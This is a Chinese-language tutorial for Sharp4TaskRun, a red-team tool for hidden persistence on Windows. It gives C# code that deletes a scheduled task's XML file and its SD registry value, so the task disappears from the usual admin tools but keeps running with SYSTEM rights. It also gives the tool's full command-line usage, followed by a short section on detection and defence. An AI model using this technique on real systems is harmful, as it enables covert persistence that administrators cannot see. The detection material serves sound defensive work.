Sharp4TaskRun:通过隐藏任务计划实现权限持久化的工具
字数 1969 2025-08-22 12:23:12
Sharp4TaskRun工具使用指南:通过隐藏任务计划实现权限持久化
一、工具概述
Sharp4TaskRun.exe是一款专为红队操作设计的工具,用于创建持久性计划任务并通过特定技术隐藏这些任务,使其在常规任务管理界面中不可见。该工具的核心功能包括:
- 创建系统级计划任务
- 通过修改注册表实现任务隐藏
- 维持SYSTEM权限的持久化访问
关键要求:执行隐藏操作的用户必须具有NT AUTHORITY\SYSTEM权限。
二、Windows计划任务基础
2.1 创建可见计划任务的两种方法
方法一:使用at.exe命令
- 适用系统:Windows XP及Windows Server 2003之前的版本
- 基本语法:
at [\\计算机名] 时间 /interactive /every:日期 任务命令 - 示例:
此命令将在每周日、周一的14:00运行notepad.exeat 14:00 /every:Sunday,Monday "notepad.exe"
方法二:使用schtasks.exe命令
-
适用系统:Windows XP以上版本
-
基本语法:
schtasks /create /tn "任务名称" /tr "任务命令" /sc 频率 [/st 开始时间] [/sd 开始日期] [/ru 用户名] [/rp 密码] -
参数说明:
/sc:设置任务频率(once/daily/weekly/onlogon等)/ru:指定运行用户(System表示系统权限)
-
示例:
schtasks /create /tn "OpenNotepad" /tr "notepad.exe" /sc daily /st 14:00 /ru System
三、计划任务的存储机制
3.1 文件系统存储
- 位置:
%SystemRoot%\System32\Tasks - 内容:每个任务对应一个XML描述文件,包含完整的任务配置信息
3.2 注册表存储(Windows 10+)
- 位置:
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{TaskName} - 关键注册表值:
Id:任务的唯一标识符(GUID)SD:安全描述符(Security Descriptor),决定任务的可见性和访问控制
四、隐藏计划任务的技术实现
4.1 完整隐藏流程
-
删除任务XML文件
- 路径:
C:\Windows\System32\Tasks\{TaskName} - 代码实现:
private void DeleteScheduledTaskFile(string taskName) { string taskFilePath = Path.Combine( Environment.GetFolderPath(Environment.SpecialFolder.System), "Tasks", taskName); if (File.Exists(taskFilePath)) { File.Delete(taskFilePath); } }
- 路径:
-
删除注册表SD值
- 路径:
HKLM\Software\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\{TaskName} - 代码实现:
private void HideScheduledTaskInRegistry(string taskName) { string registryPath = @"SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\"; RegistryKey taskKey = RegistryKey.OpenBaseKey(RegistryHive.LocalMachine, RegistryView.Registry64) .OpenSubKey(registryPath + taskName, RegistryKeyPermissionCheck.ReadWriteSubTree, RegistryRights.WriteKey); taskKey?.DeleteValue("SD"); }
- 路径:
4.2 隐藏效果验证
- 任务计划程序(taskschd.msc)中不可见
schtasks /query命令返回"错误: 系统找不到指定的文件"- 唯一残留痕迹:注册表路径
计算机\HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree\下仍存在任务键
五、Sharp4TaskRun工具使用详解
5.1 基本命令格式
.\Sharp4TaskRun.exe /method:create /taskname:{名称} /trigger:{触发类型} /starttime:{时间} /program:{程序路径} /description:"描述" /author:{作者} /technique:hide
5.2 参数说明
| 参数 | 说明 | 示例值 |
|---|---|---|
| /method | 操作类型 | create |
| /taskname | 任务名称 | Cleanup123 |
| /trigger | 触发类型 | daily/weekly/monthly等 |
| /starttime | 启动时间 | 20:19 |
| /program | 要运行的程序 | winver.exe |
| /description | 任务描述 | "Some description" |
| /author | 作者信息 | Ivan1ee |
| /technique | 隐藏技术 | hide |
5.3 典型使用示例
创建一个每日20:19运行的隐藏任务:
.\Sharp4TaskRun.exe /method:create /taskname:Cleanup123 /trigger:daily /starttime:20:19 /program:winver.exe /description:"Some description" /author:Ivan1ee /technique:hide
六、防御与检测建议
-
防御措施:
- 限制SYSTEM账户的滥用
- 监控注册表关键路径的修改行为
- 实施文件系统审计(特别是System32\Tasks目录)
-
检测方法:
- 定期检查
HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Schedule\TaskCache\Tree下的异常项 - 使用高级EDR工具监控计划任务API调用
- 对比文件系统与注册表中的任务信息差异
- 定期检查
-
应急响应:
- 检查所有SD值被删除的注册表任务项
- 分析System32\Tasks目录中缺失XML文件但注册表存在的任务
七、技术原理总结
Sharp4TaskRun利用Windows计划任务管理机制的以下特性:
- 任务信息在文件系统(XML)和注册表中双重存储
- 任务可见性由注册表SD值控制
- 删除SD值不会影响任务的实际执行
- 系统权限进程可以绕过常规权限检查
这种技术实现了真正的"隐藏",而非简单的伪装,使得常规管理工具无法发现被隐藏的任务,同时任务仍能按计划执行。